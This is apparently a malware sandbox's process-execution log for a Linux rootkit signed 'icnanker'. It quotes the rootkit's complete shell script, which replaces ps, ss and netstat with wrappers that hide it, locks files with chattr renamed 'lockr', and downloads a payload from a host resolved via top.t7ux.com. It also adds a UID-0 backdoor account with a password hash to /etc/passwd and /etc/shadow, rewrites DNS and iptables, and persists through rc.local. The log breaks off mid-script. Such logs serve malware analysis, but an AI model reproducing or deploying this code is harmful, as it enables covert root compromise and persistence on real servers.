/usr/bin/rmrm -f /usr/bin/.sshd2⤵
-
-
/usr/bin/lockrlockr -i /usr/bin/2⤵
- Executes dropped EXE
-
-
/usr/bin/lockrlockr -i /usr/bin/wget2⤵
- Executes dropped EXE
-
-
/usr/bin/rmrm -f /usr/bin/wget2⤵
-
-
/usr/bin/lockrlockr -i /usr/bin/chattr2⤵
- Executes dropped EXE
-
-
/usr/bin/rmrm -f /usr/bin/chattr2⤵
-
-
/usr/bin/lockrlockr -i /etc/2⤵
- Executes dropped EXE
-
-
/usr/bin/lockrlockr -i /etc/hosts.deny2⤵
- Executes dropped EXE
-
-
/usr/bin/cpcp -f /etc/deny.bak /etc/hosts.deny2⤵
-
-
/usr/bin/lockrlockr +i /etc/hosts.deny2⤵
- Executes dropped EXE
-
-
/usr/bin/lockrlockr -i /etc/2⤵
- Executes dropped EXE
-
-
/usr/bin/lockrlockr -i /etc/hosts.allow2⤵
- Executes dropped EXE
-
-
/usr/bin/cpcp -f /etc/allow.bak /etc/hosts.allow2⤵
-
-
/usr/bin/lockrlockr +i /etc/hosts.allow2⤵
- Executes dropped EXE
-
-
/usr/bin/lockrlockr -i /etc/init.d/2⤵
- Executes dropped EXE
-
-
/usr/bin/lockrlockr -i /etc/long.conf2⤵
- Executes dropped EXE
-
-
/usr/bin/sedsed -i "s|2228668564|f24a684025|" /etc/long.conf2⤵
-
-
/usr/bin/lockrlockr +i /etc/long.conf2⤵
- Executes dropped EXE
-
-
/usr/bin/sleepsleep 12⤵
-
-
/usr/bin/lockrlockr -i /usr/bin/2⤵
- Executes dropped EXE
-
-
/usr/bin/cpcp -f /tmp/rootkit /usr/bin/f24a6840252⤵
- Write file to user bin folder
-
-
/usr/bin/chmodchmod 777 /usr/bin/f24a6840252⤵
- File and Directory Permissions Modification
-
-
/usr/bin/lockrlockr -i /bin/2⤵
- Executes dropped EXE
-
-
/usr/bin/nohupnohup /usr/bin/f24a6840252⤵
-
-
/usr/bin/f24a684025/usr/bin/f24a6840252⤵
- Executes dropped EXE
-
-
/usr/bin/lockrlockr -i /bin/ps2⤵
- Executes dropped EXE
-
-
/usr/bin/sedsed -i "s|2228668564|f24a684025|" /bin/ps2⤵
- Writes file to system bin folder
-
-
/usr/bin/lockrlockr +i /bin/ps2⤵
-
-
/bin/sh/usr/bin/f24a684025 -c "exec '/usr/bin/f24a684025' \"\$@\"" /usr/bin/f24a6840252⤵
-
-
/usr/bin/f24a684025/usr/bin/f24a6840252⤵
-
-
/usr/bin/lockrlockr -i /etc/2⤵
-
-
/usr/bin/lockrlockr -i /etc/rc.local2⤵
-
-
/usr/bin/sedsed -i "s|/usr/bin/2228668564 start|/usr/bin/f24a684025 start|" /etc/rc.local2⤵
-
-
/bin/sh/usr/bin/f24a684025 -c "#!/bin/sh path=`pwd` exit0=\"exit 0\" ips=\"/usr/bin/ips\" iss=\"/usr/bin/iss\" Net=\"/usr/bin/nets\" Get=\"/usr/bin/dget\" Lok=\"/usr/bin/lockr\" deny=\"/etc/deny.bak\" allow=\"/etc/allow.bak\" Config=\"/etc/long.conf\" filebak=\"/usr/bin/longbak\" issbak=\"/usr/bin/dpkgd/ss\" ipsbak=\"/usr/bin/dpkgd/ps\" Netbak=\"/usr/bin/dpkgd/netstat\" Runkillallconnect() { killpid=`nets -anept 2>/dev/null|grep \"\$Address:9506\"|cut -d / -f 1|awk '{print \$9}'` kill \$killpid 2>/dev/null;kill -3 \$killpid 2>/dev/null;kill -9 \$killpid 2>/dev/null killall \$tempfile;pkill \$tempfile;lockr -i /usr/bin/;lockr -i \$filetemp;rm -f \$filetemp if [ -z \"`cat \$Config|grep \$tempfile`\" ]; then lockr -i /etc/init.d/;lockr -i \$Config echo \$filename \$tempbash \$Address > \$Config;lockr +i \$Config >/dev/null 2>&1 else lockr -i \$Config;sed -i \"s|\$tempfile|\$filename|\" \$Config;lockr +i \$Config >/dev/null 2>&1 fi if [ -z \"`cat /bin/ps|grep \$tempfile`\" ]; then lockr -i /bin/;lockr -i /bin/ps;echo '#!/bin/sh' > /bin/ps;echo 'for arg in \"\$*\";do' >> /bin/ps echo 'ips \$arg|grep -v \"'\$tempbash'\"|grep -v \"'\$filename'\"|grep -v \"ips\"|grep -v \"grep\"' >> /bin/ps echo 'done;exit' >> /bin/ps;chmod 777 /bin/ps;lockr +i /bin/ps >/dev/null 2>&1 else lockr -i /bin/ps;sed -i \"s|\$tempfile|\$filename|\" /bin/ps;lockr +i /bin/ps >/dev/null 2>&1 fi } # ------------------------------------------------------------- if [ ! -f \"\$Lok\" ];then lockr -i /usr/bin/ if [ ! -f /usr/bin/wget ];then if [ -f /usr/bin/yum ];then yum -y install e2fsprogs;fi if [ -f /usr/bin/apt-get ];then apt-get -y install e2fsprogs;fi fi cp -f /usr/bin/chattr /usr/bin/lockr cp -f /usr/bin/chattr /usr/bin/.locks cp -f /usr/bin/.locks /usr/bin/lockr chmod 777 /usr/bin/lockr chmod 777 /usr/bin/.locks lockr +i /usr/bin/lockr >/dev/null 2>&1 lockr +i /usr/bin/.locks >/dev/null 2>&1 else .locks -i /usr/bin/lockr;chmod 777 /usr/bin/lockr lockr +i /usr/bin/lockr >/dev/null 2>&1 fi if [ ! -f \"\$Get\" ];then lockr -i /usr/bin/ if [ ! -f /usr/bin/wget ];then if [ -f /usr/bin/yum ];then yum -y install wget;fi if [ -f /usr/bin/apt-get ];then apt-get -y install wget;fi fi cp -f /usr/bin/wget /usr/bin/dget cp -f /usr/bin/wget /usr/bin/.bget cp -f /usr/bin/.bget /usr/bin/dget chmod 777 /usr/bin/dget lockr +i /usr/bin/dget >/dev/null 2>&1 lockr +i /usr/bin/.bget >/dev/null 2>&1 else lockr -i /usr/bin/dget;chmod 777 /usr/bin/dget lockr +i /usr/bin/dget >/dev/null 2>&1 fi if [ -f /usr/bin/pkill ];then lockr -i /usr/bin/pkill;chmod 777 /usr/bin/pkill lockr +i /usr/bin/pkill >/dev/null 2>&1 fi if [ -f /usr/bin/nohup ];then lockr -i /usr/bin/nohup;chmod 777 /usr/bin/nohup lockr +i /usr/bin/nohup >/dev/null 2>&1 fi if [ -f /usr/bin/killall ];then lockr -i /usr/bin/killall;chmod 777 /usr/bin/killall lockr +i /usr/bin/killall >/dev/null 2>&1 fi if [ -f /usr/bin/nslookup ];then lockr -i /usr/bin/nslookup;chmod 777 /usr/bin/nslookup lockr +i /usr/bin/nslookup >/dev/null 2>&1 fi if [ -f /etc/init.d/Me8ing.conf ];then Runkillallconnect rm -f \$0;exit fi # ------------------------------------------------------------- if [ ! -f \"\$Config\" ];then intranet=`ifconfig|grep 'inet '|grep -v '127.0'|xargs|awk -F '[ :]' '{print \$3}'|grep '192.168'` if [ \$intranet ];then exit;fi lockr -i /usr/bin/;lockr -i /etc/init.d/ echo \"byicnanker 2228668564\" > \$Config tempfile=`cat \$Config | awk '{print \$1}'` filetemp=\"/usr/bin/\$tempfile\" #������·�� filename=`date +%s%N | md5sum | head -c 10` filepath=\"/usr/bin/\$filename\" #������·�� tempbash=`cat \$Config | awk '{print \$2}'` bashtemp=\"/usr/bin/\$tempbash\" #�ֽű�·�� bashname=`date +%s%N | md5sum | head -c 10` bashpath=\"/usr/bin/\$bashname\" #�½ű�·�� else tempfile=`cat \$Config | awk '{print \$1}'` filetemp=\"/usr/bin/\$tempfile\" #������·�� filename=`date +%s%N | md5sum | head -c 10` filepath=\"/usr/bin/\$filename\" #������·�� tempbash=`cat \$Config | awk '{print \$2}'` bashtemp=\"/usr/bin/\$tempbash\" #�ֽű�·�� bashname=`date +%s%N | md5sum | head -c 10` bashpath=\"/usr/bin/\$bashname\" #�½ű�·�� if [ \$0 != \"\$bashtemp\" ];then lockr -i /usr/bin/;lockr -i /bin/ KA=`cat \$Config | awk '{print \$1}'` KPidA=`ips -ef|grep \$KA|awk '{print \$2}'` lockr -i /usr/bin/\$KA;rm -f /usr/bin/\$KA kill \$KPidA 2>/dev/null;kill -9 \$KPidA 2>/dev/null lockr -i \$filetemp;rm -f \$filetemp;lockr -i \$filebak;rm -f \$filebak killall .sshd;pkill .sshd;lockr -i /usr/bin/.sshd;rm -f /usr/bin/.sshd killall \$KA;pkill \$KA;killall \$KA;pkill \$KA;sleep 0.1 K1=`cat \$Config | awk '{print \$2}'` KPid1=`ips -ef|grep \$K1|awk '{print \$2}'` kill \$KPid1 2>/dev/null;kill -9 \$KPid1 2>/dev/null lockr -i /usr/bin/\$K1;rm -f /usr/bin/\$K1 killall \$K1;pkill \$K1;killall \$K1;pkill \$K1;sleep 0.4 K2=`cat \$Config | awk '{print \$2}'` KPid2=`ips -ef|grep \$K2|awk '{print \$2}'` kill \$KPid2 2>/dev/null;kill -9 \$KPid2 2>/dev/null lockr -i /usr/bin/\$K2;rm -f /usr/bin/\$K2 killall \$K2;pkill \$K2;killall \$K2;pkill \$K2;sleep 1.2 K3=`cat \$Config | awk '{print \$2}'` KPid3=`ips -ef|grep \$K3|awk '{print \$2}'` kill \$KPid3 2>/dev/null;kill -9 \$KPid3 2>/dev/null lockr -i /usr/bin/\$K3;rm -f /usr/bin/\$K3 killall \$K3;pkill \$K3;killall \$K3;pkill \$K3;sleep 0.5 K4=`cat \$Config | awk '{print \$2}'` KPid4=`ips -ef|grep \$K4|awk '{print \$2}'` kill \$KPid4 2>/dev/null;kill -9 \$KPid4 2>/dev/null lockr -i /usr/bin/\$K4;rm -f /usr/bin/\$K4 killall \$K4;pkill \$K4;killall \$K4;pkill \$K4;sleep 1.3 K5=`cat \$Config | awk '{print \$2}'` KPid5=`ips -ef|grep \$K5|awk '{print \$2}'` kill \$KPid5 2>/dev/null;kill -9 \$KPid5 2>/dev/null lockr -i /usr/bin/\$K5;rm -f /usr/bin/\$K5 killall \$K5;pkill \$K5;killall \$K5;pkill \$K5;sleep 0.6 K6=`cat \$Config | awk '{print \$2}'` KPid6=`ips -ef|grep \$K6|awk '{print \$2}'` kill \$KPid6 2>/dev/null;kill -9 \$KPid6 2>/dev/null lockr -i /usr/bin/\$K6;rm -f /usr/bin/\$K6 killall \$K6;pkill \$K6;killall \$K6;pkill \$K6;sleep 1.4 K7=`cat \$Config | awk '{print \$2}'` KPid7=`ips -ef|grep \$K7|awk '{print \$2}'` kill \$KPid7 2>/dev/null;kill -9 \$KPid7 2>/dev/null lockr -i /usr/bin/\$K7;rm -f /usr/bin/\$K7 killall \$K7;pkill \$K7;killall \$K7;pkill \$K7;sleep 0.1 lockr -i \$Config;sed -i \"s|\$tempbash|\$bashname|\" \$Config lockr -i /bin/ps;sed -i \"s|\$tempbash|\$bashname|\" /bin/ps fi fi # ------------------------------------------------------------- if [ ! -f /usr/bin/nslookup ];then if [ -f /usr/bin/apt-get ];then apt-get -y install dnsutils;fi if [ -f /usr/bin/yum ];then yum -y install bind-utils;fi fi ResolveIP=`nslookup top.t7ux.com|grep \"Address: \"|awk '{print \$2}'` if [ -z \"\$ResolveIP\" ];then lockr -i /etc/;lockr -i /etc/resolv.conf echo 'nameserver 114.114.114.114' > /etc/resolv.conf echo 'nameserver 8.8.8.8' >> /etc/resolv.conf echo 'nameserver 8.8.4.4' >> /etc/resolv.conf lockr +i /etc/resolv.conf >/dev/null 2>&1 service network restart;sleep 1 Address=`nslookup top.t7ux.com|grep \"Address: \"|awk '{print \$2}'` else Address=\"\$ResolveIP\" fi # ------------------------------------------------------------- if [ -f /bin/ss ];then if [ ! -f \"\$iss\" ];then if [ ! -f \"\$issbak\" ];then lockr -i /usr/bin/;mkdir /usr/bin/dpkgd/ cp -f /bin/ss \$issbak cp -f /bin/ss \$iss else cp -f \$issbak \$iss fi chmod 777 \$iss;chmod 777 \$issbak lockr +i \$issbak >/dev/null 2>&1 lockr +i \$iss >/dev/null 2>&1 else if [ ! -f \"\$issbak\" ];then lockr -i /usr/bin/;cp -f \$iss \$issbak lockr +i \$issbak >/dev/null 2>&1 fi if [ -z \"`cat /bin/ss | grep \$Address`\" ]; then lockr -i /bin/;lockr -i /bin/ss echo '#!/bin/sh' > /bin/ss echo 'iss|grep -v \"'\$Address'\"' >> /bin/ss echo 'exit' >> /bin/ss chmod 777 /bin/ss;lockr +i /bin/ss >/dev/null 2>&1 fi fi fi if [ -f /usr/sbin/ss ];then if [ ! -f \"\$iss\" ];then if [ ! -f \"\$issbak\" ];then lockr -i /usr/bin/;mkdir /usr/bin/dpkgd/ cp -f /usr/sbin/ss \$issbak cp -f /usr/sbin/ss \$iss else cp -f \$issbak \$iss fi chmod 777 \$iss;chmod 777 \$issbak lockr +i \$issbak >/dev/null 2>&1 lockr +i \$iss >/dev/null 2>&1 else if [ ! -f \"\$issbak\" ];then lockr -i /usr/bin/;cp -f \$iss \$issbak lockr +i \$issbak >/dev/null 2>&1 fi if [ -z \"`cat /usr/sbin/ss | grep \$Address`\" ]; then lockr -i /usr/sbin/;lockr -i /usr/sbin/ss echo '#!/bin/sh' > /usr/sbin/ss echo 'iss|grep -v \"'\$Address'\"' >> /usr/sbin/ss echo 'exit' >> /usr/sbin/ss chmod 777 /usr/sbin/ss;lockr +i /usr/sbin/ss >/dev/null 2>&1 fi fi fi if [ -f /bin/netstat ];then if [ ! -f \"\$Net\" ];then if [ ! -f \"\$Netbak\" ];then lockr -i /usr/bin/;mkdir /usr/bin/dpkgd/ cp -f /bin/netstat \$Netbak cp -f /bin/netstat \$Net else cp -f \$Netbak \$Net fi chmod 777 \$Net;chmod 777 \$Netbak lockr +i \$Netbak >/dev/null 2>&1 lockr +i \$Net >/dev/null 2>&1 else if [ ! -f \"\$Netbak\" ];then lockr -i /usr/bin/;cp -f \$Net \$Netbak lockr +i \$Netbak >/dev/null 2>&1 fi if [ -z \"`cat /bin/netstat | grep \$Address`\" ]; then lockr -i /bin/;lockr -i /bin/netstat echo '#!/bin/sh' > /bin/netstat echo 'for arg in \"\$*\";do' >> /bin/netstat echo 'nets \$arg | grep -v \"'\$Address'\"' >> /bin/netstat echo 'done;exit' >> /bin/netstat chmod 777 /bin/netstat;lockr +i /bin/netstat >/dev/null 2>&1 fi fi fi if [ -f /bin/ps ];then if [ ! -f \"\$ips\" ];then if [ ! -f \"\$ipsbak\" ];then lockr -i /usr/bin/;mkdir /usr/bin/dpkgd/ cp -f /bin/ps \$ipsbak cp -f /bin/ps \$ips else cp -f \$ipsbak \$ips fi chmod 777 \$ips;chmod 777 \$ipsbak lockr +i \$ipsbak >/dev/null 2>&1 lockr +i \$ips >/dev/null 2>&1 else if [ ! -f \"\$ipsbak\" ];then lockr -i /usr/bin/;cp -f \$ips \$ipsbak lockr +i \$ipsbak >/dev/null 2>&1 fi if [ -z \"`cat /bin/ps | grep '#!/bin/sh'`\" ]; then lockr -i /bin/;lockr -i /bin/ps echo '#!/bin/sh' > /bin/ps;echo 'for arg in \"\$*\";do' >> /bin/ps echo 'ips \$arg | grep -v \"'\$tempbash'\" | grep -v \"'\$tempfile'\" | grep -v \"ips\" | grep -v \"grep\"' >> /bin/ps echo 'done;exit' >> /bin/ps;chmod 777 /bin/ps;lockr +i /bin/ps >/dev/null 2>&1 fi fi fi if [ ! -f \"\$deny\" ];then lockr -i /etc/;cp -f /etc/hosts.deny \$deny lockr +i \$deny >/dev/null 2>&1 fi if [ ! -f \"\$allow\" ];then lockr -i /etc/;cp -f /etc/hosts.allow \$allow lockr +i \$allow >/dev/null 2>&1 fi # by icnanker ----------------------------------------------- iptable=`iptables -L INPUT | grep \"\$Address\" | grep 'ACCEPT'` if [ -z \"\$iptable\" ];then iptables -I INPUT -s \$Address -j ACCEPT else iptables -D INPUT -s \$Address -j DROP fi process=`ips -ef | grep \"\$tempfile\" | grep -v \"grep\" | wc -l` if [ \$process != 1 ];then if [ ! -f \"\$filebak\" ];then lockr -i /usr/bin/;lockr -i /usr/bin/Drkv;rm -f /usr/bin/Drkv cd /usr/bin/;dget http://\$Address:6513/Drkv cd \$path;mv -f /usr/bin/Drkv \$filepath else cp -f \$filebak \$filepath fi Runkillallconnect chmod 777 \$filepath nohup \$filepath >/dev/null 2>&1 & fi if [ ! -f \"\$filebak\" ];then cp -f \$filepath \$filebak;chmod 777 \$filebak lockr +i \$filebak >/dev/null 2>&1 fi # by icnanker ----------------------------------------------- Repeatstart=`cat /etc/rc.local | grep 'start'| wc -l` if [ \$Repeatstart != 1 ];then lockr -i /etc/rc.local;sed -i '/start/d' /etc/rc.local fi if [ -z \"`cat /etc/rc.local | grep \"\$bashtemp\"`\" ]; then if [ -z \"`cat /etc/rc.local | grep \"\$exit0\"`\" ]; then lockr -i /etc/;lockr -i /etc/rc.local echo \"\$bashpath start\" >> /etc/rc.local else lockr -i /etc/;lockr -i /etc/rc.local sed -i \"s|exit 0|\$bashpath start|\" /etc/rc.local echo \"exit 0\">>/etc/rc.local fi fi # by icnanker ----------------------------------------------- if [ ! -f /tmp/bash.log ];then UpdateIP=`nslookup sh.7ex.me|grep \"Address: \"|awk '{print \$2}'` if [ ! -z \"\$UpdateIP\" ];then lockr -i /tmp/;lockr -i /tmp/bash.log;rm -f /tmp/bash.log cd /tmp/;dget http://\$UpdateIP:5155/update.log cd \$path;mv -f /tmp/update.log /tmp/bash.log fi fi if [ -z \"`cat /etc/passwd|grep \"icnanker\"`\" ]; then lockr -i /etc/;lockr -i /etc/passwd #icnanker echo 'icnanker:x:0:1:icnanker:/root:/bin/bash' >> /etc/passwd fi if [ -z \"`cat /etc/shadow|grep \"icnanker\"`\" ]; then lockr -i /etc/;lockr -i /etc/shadow #ddos@nanker echo 'icnanker:\$6\$14nPldFS\$xcNbGMouKo..dH8idyM6D0RIpXVnVm.5B.qORnV6qqnW4V.Ru3IGGyhiNzKAWRee7hJtCXW8vhApM1bzAm54n.:16570:0:99999:7:::' >> /etc/shadow fi # by icnanker ----------------------------------------------- killall .sshd;pkill .sshd;lockr -i /usr/bin/.sshd;rm -f /usr/bin/.sshd lockr -i /usr/bin/;lockr -i /usr/bin/wget;rm -f /usr/bin/wget;lockr -i /usr/bin/chattr;rm -f /usr/bin/chattr lockr -i /etc/;lockr -i /etc/hosts.deny;cp -f \$deny /etc/hosts.deny;lockr +i /etc/hosts.deny >/dev/null 2>&1 lockr -i /etc/;lockr -i /etc/hosts.allow;cp -f \$allow /etc/hosts.allow;lockr +i /etc/hosts.allow >/dev/null 2>&1 lockr -i /etc/init.d/;lockr -i \$Config;sed -i \"s|\$tempbash|\$bashname|\" \$Config;lockr +i \$Config >/dev/null 2>&1 sleep 1;lockr -i /usr/bin/;cp -f \$0 \$bashpath;chmod 777 \$bashpath;nohup \$bashpath >/dev/null 2>&1 & lockr -i /bin/;lockr -i /bin/ps;sed -i \"s|\$tempbash|\$bashname|\" /bin/ps;lockr +i /bin/ps >/dev/null 2>&1 lockr -i /etc/;lockr -i /etc/rc.local;sed -i \"s|\$bashtemp start|\$bashpath start|\" /etc/rc.local # by icnanker ----------------------------------------------- lockr -i \$0 rm -f \$0 exit" /usr/bin/f24a6840252⤵
- File and Directory Permissions Modification
- Writes DNS configuration
- Writes file to system bin folder
-
/usr/bin/.locks.locks -i /usr/bin/lockr3⤵
-
-
/usr/bin/chmodchmod 777 /usr/bin/lockr3⤵
- File and Directory Permissions Modification
-
-
/usr/bin/lockrlockr +i /usr/bin/lockr3⤵
-
-
/usr/bin/lockrlockr -i /usr/bin/dget3⤵
-
-
/usr/bin/chmodchmod 777 /usr/bin/dget3⤵
- File and Directory Permissions Modification
-
-
/usr/bin/lockrlockr +i /usr/bin/dget3⤵
-
-
/usr/bin/lockrlockr -i /usr/bin/pkill3⤵
-
-
/usr/bin/chmodchmod 777 /usr/bin/pkill3⤵
- File and Directory Permissions Modification
-
-
/usr/bin/lockrlockr +i /usr/bin/pkill3⤵
-
-
/usr/bin/lockrlockr -i /usr/bin/nohup3⤵
-
-
/usr/bin/chmodchmod 777 /usr/bin/nohup3⤵
- File and Directory Permissions Modification
-
-
/usr/bin/lockrlockr +i /usr/bin/nohup3⤵
-
-
/usr/bin/lockrlockr -i /usr/bin/killall3⤵
-
-
/usr/bin/chmodchmod 777 /usr/bin/killall3⤵
- File and Directory Permissions Modification
-
-
/usr/bin/lockrlockr +i /usr/bin/killall3⤵
-
-
/usr/bin/lockrlockr -i /usr/bin/nslookup3⤵
-
-
/usr/bin/chmodchmod 777 /usr/bin/nslookup3⤵
- File and Directory Permissions Modification
-
-
/usr/bin/lockrlockr +i /usr/bin/nslookup3⤵
-
-
/usr/bin/catcat /etc/long.conf3⤵
-
-
/usr/bin/awkawk "{print \$1}"3⤵
-
-
/usr/bin/datedate "+%s%N"3⤵
-
-
/usr/bin/md5summd5sum3⤵
-
-
/usr/bin/headhead -c 103⤵
-
-
/usr/bin/catcat /etc/long.conf3⤵
-
-
/usr/bin/awkawk "{print \$2}"3⤵
-
-
/usr/bin/datedate "+%s%N"3⤵
-
-
/usr/bin/md5summd5sum3⤵
-
-
/usr/bin/headhead -c 103⤵
-
-
/usr/bin/nslookupnslookup top.t7ux.com3⤵
- Reads CPU attributes
-
-
/usr/bin/grepgrep "Address: "3⤵
-
-
/usr/bin/awkawk "{print \$2}"3⤵
-
-
/usr/bin/lockrlockr -i /etc/3⤵
-
-
/usr/bin/lockrlockr -i /etc/resolv.conf3⤵
-
-
/usr/bin/lockrlockr +i /etc/resolv.conf3⤵
-
-
/usr/sbin/serviceservice network restart3⤵
-
/usr/bin/basenamebasename /usr/sbin/service4⤵
-
-
/usr/bin/basenamebasename /usr/sbin/service4⤵
-
-
-
/usr/local/sbin/systemctlsystemctl restart network.service3⤵
-
-
/usr/local/bin/systemctlsystemctl restart network.service3⤵
-
-
/usr/sbin/systemctlsystemctl restart network.service3⤵
-
-
/usr/bin/systemctlsystemctl restart network.service3⤵
-
-
/usr/bin/sleepsleep 13⤵
-
-
/usr/bin/nslookupnslookup top.t7ux.com3⤵
- Reads CPU attributes
-
-
/usr/bin/grepgrep "Address: "3⤵
-
-
/usr/bin/awkawk "{print \$2}"3⤵
-
-
/usr/bin/catcat /bin/ss3⤵
-
-
/usr/bin/grepgrep3⤵
-
-
/usr/bin/lockrlockr -i /bin/3⤵
-
-
/usr/bin/lockrlockr -i /bin/ss3⤵
-
-
/usr/bin/chmodchmod 777 /bin/ss3⤵
- File and Directory Permissions Modification
-
-
/usr/bin/lockrlockr +i /bin/ss3⤵
-
-
/usr/bin/catcat /bin/ps3⤵
-
-
/usr/bin/grepgrep "#!/bin/sh"3⤵
-
-
/usr/bin/grepgrep3⤵
-
-
/usr/bin/grepgrep ACCEPT3⤵
-
-
/usr/bin/ipsips -ef3⤵
- Checks CPU configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
- System Network Configuration Discovery
-
-
/usr/bin/grepgrep b293c491473⤵
-
-
/usr/bin/grepgrep -v grep3⤵
-
-
/usr/bin/wcwc -l3⤵
-
-
/usr/bin/lockrlockr -i /usr/bin/3⤵
-
-
/usr/bin/lockrlockr -i /usr/bin/Drkv3⤵
-
-
/usr/bin/rmrm -f /usr/bin/Drkv3⤵
-
-
/usr/bin/dgetdget http://:6513/Drkv3⤵
-
-
/usr/bin/mvmv -f /usr/bin/Drkv /usr/bin/eb71db48693⤵
-
-
/usr/bin/grepgrep :95063⤵
-
-
/usr/bin/cutcut -d / -f 13⤵
-
-
/usr/bin/awkawk "{print \$9}"3⤵
-
-
/usr/bin/killallkillall b293c491473⤵
- Reads runtime system information
-
-
/usr/bin/pkillpkill b293c491473⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
-
/usr/bin/lockrlockr -i /usr/bin/3⤵
-
-
/usr/bin/lockrlockr -i /usr/bin/b293c491473⤵
-
-
/usr/bin/rmrm -f /usr/bin/b293c491473⤵
-
-
/usr/bin/catcat /etc/long.conf3⤵
-
-
/usr/bin/grepgrep b293c491473⤵
-
-
/usr/bin/lockrlockr -i /etc/long.conf3⤵
-
-
/usr/bin/sedsed -i "s|b293c49147|eb71db4869|" /etc/long.conf3⤵
-
-
/usr/bin/lockrlockr +i /etc/long.conf3⤵
-
-
/usr/bin/catcat /bin/ps3⤵
-
-
/usr/bin/grepgrep b293c491473⤵
-
-
/usr/bin/lockrlockr -i /bin/ps3⤵
-
-
/usr/bin/sedsed -i "s|b293c49147|eb71db4869|" /bin/ps3⤵
- Writes file to system bin folder
-
-
/usr/bin/lockrlockr +i /bin/ps3⤵
-
-
/usr/bin/chmodchmod 777 /usr/bin/eb71db48693⤵
- File and Directory Permissions Modification
-
-
/usr/bin/cpcp -f /usr/bin/eb71db4869 /usr/bin/longbak3⤵
-
-
/usr/bin/nohupnohup /usr/bin/eb71db48693⤵
-
-
/usr/bin/eb71db4869/usr/bin/eb71db48693⤵
-
-
/usr/bin/chmodchmod 777 /usr/bin/longbak3⤵
- File and Directory Permissions Modification
-
-
/usr/bin/lockrlockr +i /usr/bin/longbak3⤵
-
-
/usr/bin/catcat /etc/rc.local3⤵
-
-
/usr/bin/grepgrep start3⤵
-
-
/usr/bin/wcwc -l3⤵
-
-
/usr/bin/catcat /etc/rc.local3⤵
-
-
/usr/bin/grepgrep /usr/bin/f24a6840253⤵
-
-
/usr/bin/nslookupnslookup sh.7ex.me3⤵
- Reads CPU attributes
-
-
/usr/bin/grepgrep "Address: "3⤵
-
-
/usr/bin/awkawk "{print \$2}"3⤵
-
-
/usr/bin/catcat /etc/passwd3⤵
-
-
/usr/bin/grepgrep icnanker3⤵
-
-
/usr/bin/catcat /etc/shadow3⤵
- OS Credential Dumping
-
-
/usr/bin/grepgrep icnanker3⤵
-
-
/usr/bin/killallkillall .sshd3⤵
- Reads runtime system information
-
-
/usr/bin/pkillpkill .sshd3⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
-
/usr/bin/lockrlockr -i /usr/bin/.sshd3⤵
-
-
/usr/bin/rmrm -f /usr/bin/.sshd3⤵
-
-
/usr/bin/lockrlockr -i /usr/bin/3⤵
-
-
/usr/bin/lockrlockr -i /usr/bin/wget3⤵
-
-
/usr/bin/rmrm -f /usr/bin/wget3⤵
-
-
/usr/bin/lockrlockr -i /usr/bin/chattr3⤵
-
-
/usr/bin/rmrm -f /usr/bin/chattr3⤵
-
-
/usr/bin/lockrlockr -i /etc/3⤵
-
-
/usr/bin/lockrlockr -i /etc/hosts.deny3⤵
-
-
/usr/bin/cpcp -f /etc/deny.bak /etc/hosts.deny3⤵
-
-
/usr/bin/lockrlockr +i /etc/hosts.deny3⤵
-
-
/usr/bin/lockrlockr -i /etc/3⤵
-
-
/usr/bin/lockrlockr -i /etc/hosts.allow3⤵
-
-
/usr/bin/cpcp -f /etc/allow.bak /etc/hosts.allow3⤵
-
-
/usr/bin/lockrlockr +i /etc/hosts.allow3⤵
-
-
/usr/bin/lockrlockr -i /etc/init.d/3⤵
-
-
/usr/bin/lockrlockr -i /etc/long.conf3⤵
-
-
/usr/bin/sedsed -i "s|f24a684025|fd7c90b56a|" /etc/long.conf3⤵
-
-
/usr/bin/lockrlockr +i /etc/long.conf3⤵
-
-
/usr/bin/sleepsleep 13⤵
-
-
/usr/bin/lockrlockr -i /usr/bin/3⤵
-
-
/usr/bin/cpcp -f /usr/bin/f24a684025 /usr/bin/fd7c90b56a3⤵
- Write file to user bin folder
-
-
/usr/bin/chmodchmod 777 /usr/bin/fd7c90b56a3⤵
- File and Directory Permissions Modification
-
-
/usr/bin/lockrlockr -i /bin/3⤵
-
-
/usr/bin/nohupnohup /usr/bin/fd7c90b56a3⤵
-
-
/usr/bin/fd7c90b56a/usr/bin/fd7c90b56a3⤵
-
-
/usr/bin/lockrlockr -i /bin/ps3⤵
-
-
/usr/bin/sedsed -i "s|f24a684025|fd7c90b56a|" /bin/ps3⤵
- Writes file to system bin folder
-
-
/bin/sh/usr/bin/fd7c90b56a -c "exec '/usr/bin/fd7c90b56a' \"\$@\"" /usr/bin/fd7c90b56a3⤵
-
-
/usr/bin/fd7c90b56a/usr/bin/fd7c90b56a3⤵
-
-
/usr/bin/lockrlockr +i /bin/ps3⤵
-
-
/usr/bin/lockrlockr -i /etc/3⤵
-
-
/usr/bin/lockrlockr -i /etc/rc.local3⤵
-
-
/usr/bin/sedsed -i "s|/usr/bin/f24a684025 start|/usr/bin/fd7c90b56a start|" /etc/rc.local3⤵
-
-
/bin/sh/usr/bin/fd7c90b56a -c "#!/bin/sh path=`pwd` exit0=\"exit 0\" ips=\"/usr/bin/ips\" iss=\"/usr/bin/iss\" Net=\"/usr/bin/nets\" Get=\"/usr/bin/dget\" Lok=\"/usr/bin/lockr\" deny=\"/etc/deny.bak\" allow=\"/etc/allow.bak\" Config=\"/etc/long.conf\" filebak=\"/usr/bin/longbak\" issbak=\"/usr/bin/dpkgd/ss\" ipsbak=\"/usr/bin/dpkgd/ps\" Netbak=\"/usr/bin/dpkgd/netstat\" Runkillallconnect() { killpid=`nets -anept 2>/dev/null|grep \"\$Address:9506\"|cut -d / -f 1|awk '{print \$9}'` kill \$killpid 2>/dev/null;kill -3 \$killpid 2>/dev/null;kill -9 \$killpid 2>/dev/null killall \$tempfile;pkill \$tempfile;lockr -i /usr/bin/;lockr -i \$filetemp;rm -f \$filetemp if [ -z \"`cat \$Config|grep \$tempfile`\" ]; then lockr -i /etc/init.d/;lockr -i \$Config echo \$filename \$tempbash \$Address > \$Config;lockr +i \$Config >/dev/null 2>&1 else lockr -i \$Config;sed -i \"s|\$tempfile|\$filename|\" \$Config;lockr +i \$Config >/dev/null 2>&1 fi if [ -z \"`cat /bin/ps|grep \$tempfile`\" ]; then lockr -i /bin/;lockr -i /bin/ps;echo '#!/bin/sh' > /bin/ps;echo 'for arg in \"\$*\";do' >> /bin/ps echo 'ips \$arg|grep -v \"'\$tempbash'\"|grep -v \"'\$filename'\"|grep -v \"ips\"|grep -v 